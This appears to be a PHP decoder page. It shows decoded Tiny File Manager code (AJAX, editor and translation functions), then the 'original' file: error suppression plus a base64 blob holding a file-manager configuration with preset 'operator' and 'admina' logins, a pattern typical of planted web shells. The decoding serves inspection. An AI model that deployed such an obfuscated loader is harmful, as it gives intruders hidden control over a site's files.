success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textareapopojicms");
o.setAttribute("type", "textareapopojicms"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass(\'hidden\'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(\'\');
$.ajax({
type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass(\'show-me\'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append(\'<div class="alert alert-success row">Uploaded Successful: \'+data.done.name+\'</div>\'); form.find("input[name=uploadurl]").val(\'\');
} else if(data[\'fail\']) { resultWrapper.append(\'<div class="alert alert-danger row">Error: \'+data.fail.message+\'</div>\'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass(\'show-me\');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass(\'show-me\');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt && searchTxt.length > 2 && path) {
var data = {ajax: true, content: searchTxt, path:path, type: \'search\', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html(\'\');
$loader.addClass(\'show-me\');
},
success: function(data){
$loader.removeClass(\'show-me\');
data = JSON.parse(data);
if(data && data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html(\'<p class="m-2">No result found!<p>\'); }
},
error: function(xhr) { $loader.removeClass(\'show-me\'); searchWrapper.html(\'<p class="m-2">ERROR: Try again later!</p>\'); },
failure: function(mes) { $loader.removeClass(\'show-me\'); searchWrapper.html(\'<p class="m-2">ERROR: Try again later!</p>\');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, \' \')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$(\'#wrapper\').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal(\'show\');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s(\'<img class="c-preview-img">\').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $(\'#main-table\'),
tableLng = $table.find(\'th\').length,
_targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $(\'#main-table\').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$(\'#search-addon\').on( \'keyup\', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on(\'keyup\', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$(\'#search-addon3\').on( \'click\', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", \'a\', function(e){
e.preventDefault();let target=$(this).data(\'target\');
$(".fm-upload-wrapper .card-header-tabs a").removeClass(\'active\');$(this).addClass(\'active\');
$(".fm-upload-wrapper .card-tabs-container").addClass(\'hidden\');$(target).removeClass(\'hidden\');
});
});
</script>
<?php if (isset($_GET[\'edit\']) && isset($_GET[\'env\']) && FM_EDIT_FILE && !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external(\'js-ace\'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: \'save\', bindKey: {win: \'Ctrl-S\', mac: \'Command-S\'},
exec: function(editor) { edit_save(this, \'ace\'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value=\'"+type+i+"\'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change(); //set default font size in drop down
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", \'button\', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue && cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
&&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue && selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue && selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue && selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
/**
* Language Translation System
* @param string $txt
* @return string
*/
function lng($txt) {
global $lang;
// English Language
$tr[\'en\'][\'AppName\'] = \'Tiny File Manager\'; $tr[\'en\'][\'AppTitle\'] = \'File Manager\';
$tr[\'en\'][\'Login\'] = \'Sign in\'; $tr[\'en\'][\'Username\'] = \'Username\';
$tr[\'en\'][\'Password\'] = \'Password\'; $tr[\'en\'][\'Logout\'] = \'Sign Out\';
$tr[\'en\'][\'Move\'] = \'Move\'; $tr[\'en\'][\'Copy\'] = \'Copy\';
$tr[\'en\'][\'Save\'] = \'Save\'; $tr[\'en\'][\'SelectAll\'] = \'Select all\';
$tr[\'en\'][\'UnSelectAll\'] = \'Unselect all\'; $tr[\'en\'][\'File\'] = \'File\';
$tr[\'en\'][\'Back\'] = \'Back\'; $tr[\'en\'][\'Size\'] = \'Size\';
$tr[\'en\'][\'Perms\'] = \'Perms\'; $tr[\'en\'][\'Modified\'] = \'Modified\';
$tr[\'en\'][\'Owner\'] = \'Owner\'; $tr[\'en\'][\'Search\'] = \'Search\';
$tr[\'en\'][\'NewItem\'] = \'New Item\'; $tr[\'en\'][\'Folder\'] = \'Folder\';
$tr[\'en\'][\'Delete\'] = \'Delete\'; $tr[\'en\'][\'Rename\'] = \'Rename\';
$tr[\'en\'][\'CopyTo\'] = \'Copy to\'; $tr[\'en\'][\'DirectLink\'] = \'Direct link\';
$tr[\'en\'][\'UploadingFiles\'] = \'Upload Files\'; $tr[\'en\'][\'ChangePermissions\'] = \'Change Permissions\';
$tr[\'en\'][\'Copying\'] = \'Copying\'; $tr[\'en\'][\'CreateNewItem\'] = \'Create New Item\';
$tr[\'en\'][\'Name\'] = \'Name\'; $tr[\'en\'][\'AdvancedEditor\'] = \'Advanced Editor\';
$tr[\'en\'][\'Actions\'] = \'Actions\'; $tr[\'en\'][\'Folder is empty\'] = \'Folder is empty\';
$tr[\'en\'][\'Upload\'] = \'Upload\'; $tr[\'en\'][\'Cancel\'] = \'Cancel\';
$tr[\'en\'][\'InvertSelection\']= \'Invert Selection\'; $tr[\'en\'][\'DestinationFolder\'] = \'Destination Folder\';
$tr[\'en\'][\'ItemType\'] = \'Item Type\'; $tr[\'en\'][\'ItemName\'] = \'Item Name\';
$tr[\'en\'][\'CreateNow\'] = \'Create Now\'; $tr[\'en\'][\'Download\'] = \'Download\';
$tr[\'en\'][\'Open\'] = \'Open\'; $tr[\'en\'][\'UnZip\'] = \'UnZip\';
$tr[\'en\'][\'UnZipToFolder\'] = \'UnZip to folder\'; $tr[\'en\'][\'Edit\'] = \'Edit\';
$tr[\'en\'][\'NormalEditor\'] = \'Normal Editor\'; $tr[\'en\'][\'BackUp\'] = \'Back Up\';
$tr[\'en\'][\'SourceFolder\'] = \'Source Folder\'; $tr[\'en\'][\'Files\'] = \'Files\';
$tr[\'en\'][\'Move\'] = \'Move\'; $tr[\'en\'][\'Change\'] = \'Change\';
$tr[\'en\'][\'Settings\'] = \'Settings\'; $tr[\'en\'][\'Language\'] = \'Language\';
$tr[\'en\'][\'ErrorReporting\'] = \'Error Reporting\'; $tr[\'en\'][\'ShowHiddenFiles\'] = \'Show Hidden Files\';
$tr[\'en\'][\'Help\'] = \'Help\'; $tr[\'en\'][\'Created\'] = \'Created\';
$tr[\'en\'][\'Help Documents\'] = \'Help Documents\'; $tr[\'en\'][\'Report Issue\'] = \'Report Issue\';
$tr[\'en\'][\'Generate\'] = \'Generate\'; $tr[\'en\'][\'FullSize\'] = \'Full Size\';
$tr[\'en\'][\'HideColumns\'] = \'Hide Perms/Owner columns\';$tr[\'en\'][\'You are logged in\'] = \'You are logged in\';
$tr[\'en\'][\'Nothing selected\'] = \'Nothing selected\'; $tr[\'en\'][\'Paths must be not equal\'] = \'Paths must be not equal\';
$tr[\'en\'][\'Renamed from\'] = \'Renamed from\'; $tr[\'en\'][\'Archive not unpacked\'] = \'Archive not unpacked\';
$tr[\'en\'][\'Deleted\'] = \'Deleted\'; $tr[\'en\'][\'Archive not created\'] = \'Archive not created\';
$tr[\'en\'][\'Copied from\'] = \'Copied from\'; $tr[\'en\'][\'Permissions changed\'] = \'Permissions changed\';
$tr[\'en\'][\'to\'] = \'to\'; $tr[\'en\'][\'Saved Successfully\'] = \'Saved Successfully\';
$tr[\'en\'][\'not found!\'] = \'not found!\'; $tr[\'en\'][\'File Saved Successfully\'] = \'File Saved Successfully\';
$tr[\'en\'][\'Archive\'] = \'Archive\'; $tr[\'en\'][\'Permissions not changed\'] = \'Permissions not changed\';
$tr[\'en\'][\'Select folder\'] = \'Select folder\'; $tr[\'en\'][\'Source path not defined\'] = \'Source path not defined\';
$tr[\'en\'][\'already exists\'] = \'already exists\'; $tr[\'en\'][\'Error while moving from\'] = \'Error while moving from\';
$tr[\'en\'][\'Create archive?\'] = \'Create archive?\'; $tr[\'en\'][\'Invalid file or folder name\'] = \'Invalid file or folder name\';
$tr[\'en\'][\'Archive unpacked\'] = \'Archive unpacked\'; $tr[\'en\'][\'File extension is not allowed\'] = \'File extension is not allowed\';
$tr[\'en\'][\'Root path\'] = \'Root path\'; $tr[\'en\'][\'Error while renaming from\'] = \'Error while renaming from\';
$tr[\'en\'][\'File not found\'] = \'File not found\'; $tr[\'en\'][\'Error while deleting items\'] = \'Error while deleting items\';
$tr[\'en\'][\'Moved from\'] = \'Moved from\'; $tr[\'en\'][\'Generate new password hash\'] = \'Generate new password hash\';
$tr[\'en\'][\'Login failed. Invalid username or password\'] = \'Login failed. Invalid username or password\';
$tr[\'en\'][\'password_hash not supported, Upgrade PHP version\'] = \'password_hash not supported, Upgrade PHP version\';
$tr[\'en\'][\'Advanced Search\'] = \'Advanced Search\'; $tr[\'en\'][\'Error while copying from\'] = \'Error while copying from\';
$tr[\'en\'][\'Invalid characters in file name\'] = \'Invalid characters in file name\';
$tr[\'en\'][\'FILE EXTENSION HAS NOT SUPPORTED\'] = \'FILE EXTENSION HAS NOT SUPPORTED\';
$tr[\'en\'][\'Selected files and folder deleted\'] = \'Selected files and folder deleted\';
$tr[\'en\'][\'Error while fetching archive info\'] = \'Error while fetching archive info\';
$tr[\'en\'][\'Delete selected files and folders?\'] = \'Delete selected files and folders?\';
$tr[\'en\'][\'Search file in folder and subfolders...\'] = \'Search file in folder and subfolders...\';
$tr[\'en\'][\'Access denied. IP restriction applicable\'] = \'Access denied. IP restriction applicable\';
$tr[\'en\'][\'Invalid characters in file or folder name\'] = \'Invalid characters in file or folder name\';
$tr[\'en\'][\'Operations with archives are not available\'] = \'Operations with archives are not available\';
$tr[\'en\'][\'File or folder with this path already exists\'] = \'File or folder with this path already exists\';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = \'en\';
if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
else if (isset($tr[\'en\'][$txt])) return fm_enc($tr[\'en\'][$txt]);
else return "$txt";
}
?>'
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
ini_set('display_errors', 0);
$z = "PD9waHAKLy9EZWZhdWx0IENvbmZpZ3VyYXRpb24KJENPTkZJRyA9ICd7ImxhbmciOiJlbiIsImVycm9yX3JlcG9ydGluZyI6ZmFsc2UsInNob3dfaGlkZGVuIjpmYWxzZSwiaGlkZV9Db2xzIjpmYWxzZSwidGhlbWUiOiJsaWdodCJ9JzsKCi8qKgogKiBIM0sgfCBUaW55IEZpbGUgTWFuYWdlciBWMi41LjMKICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnMKICogQGVtYWlsIGNjcHByb2dyYW1tZXJzQGdtYWlsLmNvbQogKiBAZ2l0aHViIGh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIKICogQGxpbmsgaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvCiAqLwoKLy9URk0gdmVyc2lvbgpkZWZpbmUoJ1ZFUlNJT04nLCAnMi41LjMnKTsKCi8vQXBwbGljYXRpb24gVGl0bGUKZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTsKCi8vIC0tLSBFRElUIEJFTE9XIENPTkZJR1VSQVRJT04gQ0FSRUZVTExZIC0tLQoKLy8gQXV0aCB3aXRoIGxvZ2luL3Bhc3N3b3JkCi8vIHNldCB0cnVlL2ZhbHNlIHRvIGVuYWJsZS9kaXNhYmxlIGl0Ci8vIElzIGluZGVwZW5kZW50IGZyb20gSVAgd2hpdGUtIGFuZCBibGFja2xpc3RpbmcKJHVzZV9hdXRoID0gdHJ1ZTsKCi8vIExvZ2luIHVzZXIgbmFtZSBhbmQgcGFzc3dvcmQKLy8gVXNlcnM6IGFycmF5KCdVc2VybmFtZScgPT4gJ1Bhc3N3b3JkJywgJ1VzZXJuYW1lMicgPT4gJ1Bhc3N3b3JkMicsIC4uLikKLy8gR2VuZXJhdGUgc2VjdXJlIHBhc3N3b3JkIGhhc2ggLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vZG9jcy9wd2QuaHRtbAokYXV0aF91c2VycyA9IGFycmF5KAogICAgJ29wZXJhdG9ycicgPT4gJyQyeSQxMCRiTm8uRE9wdVN6MFh2VW9ZdVJBQkZPRGg0S21YaFNYSUQwTHJVZVhGTjFyTkJtak1GbnBSMicsCiAgICAnYWRtaW5hJyA9PiAnJDJ5JDEwJGJOby5ET3B1U3owWHZVb1l1UkFCRk9EaDRLbVhoU1hJRDBMclVlWEZOMXJOQm1qTUZucFIyJwopOwoKLy8gUmVhZG9ubHkgdXNlcnMKLy8gZS5nLiBhcnJheSgndXNlcnMnLCAnZ3Vlc3QnLCAuLi4pCiRyZWFkb25seV91c2VycyA9IGFycmF5KAogICAgJ3VzZXInCik7CgovLyBHbG9iYWwgcmVhZG9ubHksIGluY2x1ZGluZyB3aGVuIGF1dGggaXMgbm90IGJlaW5nIHVzZWQKJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlOwoKLy8gdXNlciBzcGVjaWZpYyBkaXJlY3RvcmllcwovLyBhcnJheSgnVXNlcm5hbWUnID0+ICdEaXJlY3RvcnkgcGF0aCcsICdVc2VybmFtZTInID0+ICdEaXJlY3RvcnkgcGF0aCcsIC4uLikKJGRpcmVjdG9yaWVzX3VzZXJzID0gYXJyYXkoKTsKCi8vIEVuYWJsZSBoaWdobGlnaHQuanMgKGh0dHBzOi8vaGlnaGxpZ2h0anMub3JnLykgb24gdmlldydzIHBhZ2UKJHVzZV9oaWdobGlnaHRqcyA9IHRydWU7CgovLyBoaWdobGlnaHQuanMgc3R5bGUKLy8gZm9yIGRhcmsgdGhlbWUgdXNlICdpci1ibGFjaycKJGhpZ2hsaWdodGpzX3N0eWxlID0gJ3ZzJzsKCi8vIEVuYWJsZSBhY2UuanMgKGh0dHBzOi8vYWNlLmM5LmlvLykgb24gdmlldydzIHBhZ2UKJGVkaXRfZmlsZXMgPSB0cnVlOwoKLy8gRGVmYXVsdCB0aW1lem9uZSBmb3IgZGF0ZSgpIGFuZCB0aW1lKCkKLy8gRG9jIC0gaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL3RpbWV6b25lcy5waHAKJGRlZmF1bHRfdGltZXpvbmUgPSAnRXRjL1VUQyc7IC8vIFVUQwoKLy8gUm9vdCBwYXRoIGZvciBmaWxlIG1hbmFnZXIKLy8gdXNlIGFic29sdXRlIHBhdGggb2YgZGlyZWN0b3J5IGkuZTogJy92YXIvd3d3L2ZvbGRlcicgb3IgJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ZvbGRlcicKJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CgovLyBSb290IHVybCBmb3IgbGlua3MgaW4gZmlsZSBtYW5hZ2VyLlJlbGF0aXZlIHRvICRodHRwX2hvc3QuIFZhcmlhbnRzOiAnJywgJ3BhdGgvdG8vc3ViZm9sZGVyJwovLyBXaWxsIG5vdCB3b3JraW5nIGlmICRyb290X3BhdGggd2lsbCBiZSBvdXRzaWRlIG9mIHNlcnZlciBkb2N1bWVudCByb290CiRyb290X3VybCA9ICcnOwoKLy8gU2VydmVyIGhvc3RuYW1lLiBDYW4gc2V0IG1hbnVhbGx5IGlmIHdyb25nCi8vICRfU0VSVkVSWydIVFRQX0hPU1QnXS4nL2ZvbGRlcicKJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCi8vIGlucHV0IGVuY29kaW5nIGZvciBpY29udgokaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnOwoKLy8gZGF0ZSgpIGZvcm1hdCBmb3IgZmlsZSBtb2RpZmljYXRpb24gZGF0ZQovLyBEb2MgLSBodHRwczovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5kYXRlLnBocAokZGF0ZXRpbWVfZm9ybWF0ID0gJ20vZC9ZIGc6aSBBJzsKCi8vIFBhdGggZGlzcGxheSBtb2RlIHdoZW4gdmlld2luZyBmaWxlIGluZm9ybWF0aW9uCi8vICdmdWxsJyA9PiBzaG93IGZ1bGwgcGF0aAovLyAncmVsYXRpdmUnID0+IHNob3cgcGF0aCByZWxhdGl2ZSB0byByb290X3BhdGgKLy8gJ2hvc3QnID0+IHNob3cgcGF0aCBvbiB0aGUgaG9zdAokcGF0aF9kaXNwbGF5X21vZGUgPSAnZnVsbCc7CgovLyBBbGxvd2VkIGZpbGUgZXh0ZW5zaW9ucyBmb3IgY3JlYXRlIGFuZCByZW5hbWUgZmlsZXMKLy8gZS5nLiAndHh0LGh0bWwsY3NzLGpzJwokYWxsb3dlZF9maWxlX2V4dGVuc2lvbnMgPSAnJzsKCi8vIEFsbG93ZWQgZmlsZSBleHRlbnNpb25zIGZvciB1cGxvYWQgZmlsZXMKLy8gZS5nLiAnZ2lmLHBuZyxqcGcsaHRtbCx0eHQnCiRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zID0gJyc7CgovLyBGYXZpY29uIHBhdGguIFRoaXMgY2FuIGJlIGVpdGhlciBhIGZ1bGwgdXJsIHRvIGFuIC5QTkcgaW1hZ2UsIG9yIGEgcGF0aCBiYXNlZCBvbiB0aGUgZG9jdW1lbnQgcm9vdC4KLy8gZnVsbCBwYXRoLCBlLmcgaHR0cDovL2V4YW1wbGUuY29tL2Zhdmljb24ucG5nCi8vIGxvY2FsIHBhdGgsIGUuZyBpbWFnZXMvaWNvbnMvZmF2aWNvbi5wbmcKJGZhdmljb25fcGF0aCA9ICcnOwoKLy8gRmlsZXMgYW5kIGZvbGRlcnMgdG8gZXhjbHVkZWQgZnJvbSBsaXN0aW5nCi8vIGUuZy4gYXJyYXkoJ215ZmlsZS5odG1sJywgJ3BlcnNvbmFsLWZvbGRlcicsICcqLnBocCcsIC4uLikKJGV4Y2x1ZGVfaXRlbXMgPSBhcnJheSgpOwoKLy8gT25saW5lIG9mZmljZSBEb2NzIFZpZXdlcgovLyBBdmFpbGFiZSBydWxlcyBhcmUgJ2dvb2dsZScsICdtaWNyb3NvZnQnIG9yIGZhbHNlCi8vIEdvb2dsZSA9PiBWaWV3IGRvY3VtZW50cyB1c2luZyBHb29nbGUgRG9jcyBWaWV3ZXIKLy8gTWljcm9zb2Z0ID0+IFZpZXcgZG9jdW1lbnRzIHVzaW5nIE1pY3Jvc29mdCBXZWIgQXBwcyBWaWV3ZXIKLy8gZmFsc2UgPT4gZGlzYWJsZSBvbmxpbmUgZG9jIHZpZXdlcgokb25saW5lX3ZpZXdlciA9ICdnb29nbGUnOwoKLy8gU3RpY2t5IE5hdiBiYXIKLy8gdHJ1ZSA9PiBlbmFibGUgc3RpY2t5IGhlYWRlcgovLyBmYWxzZSA9PiBkaXNhYmxlIHN0aWNreSBoZWFkZXIKJHN0aWNreV9uYXZiYXIgPSB0cnVlOwoKLy8gTWF4aW11bSBmaWxlIHVwbG9hZCBzaXplCi8vIEluY3JlYXNlIHRoZSBmb2xsb3dpbmcgdmFsdWVzIGluIHBocC5pbmkgdG8gd29yayBwcm9wZXJseQovLyBtZW1vcnlfbGltaXQsIHVwbG9hZF9tYXhfZmlsZXNpemUsIHBvc3RfbWF4X3NpemUKJG1heF91cGxvYWRfc2l6ZV9ieXRlcyA9IDUwMDAwMDAwMDA7IC8vIHNpemUgNSwwMDAsMDAwLDAwMCBieXRlcyAofjVHQikKCi8vIGNodW5rIHNpemUgdXNlZCBmb3IgdXBsb2FkCi8vIGVnLiBkZWNyZWFzZSB0byAxTUIgaWYgbmdpbnggcmVwb3J0cyBwcm9ibGVtIDQxMyBlbnRpdHkgdG9vIGxhcmdlCiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXR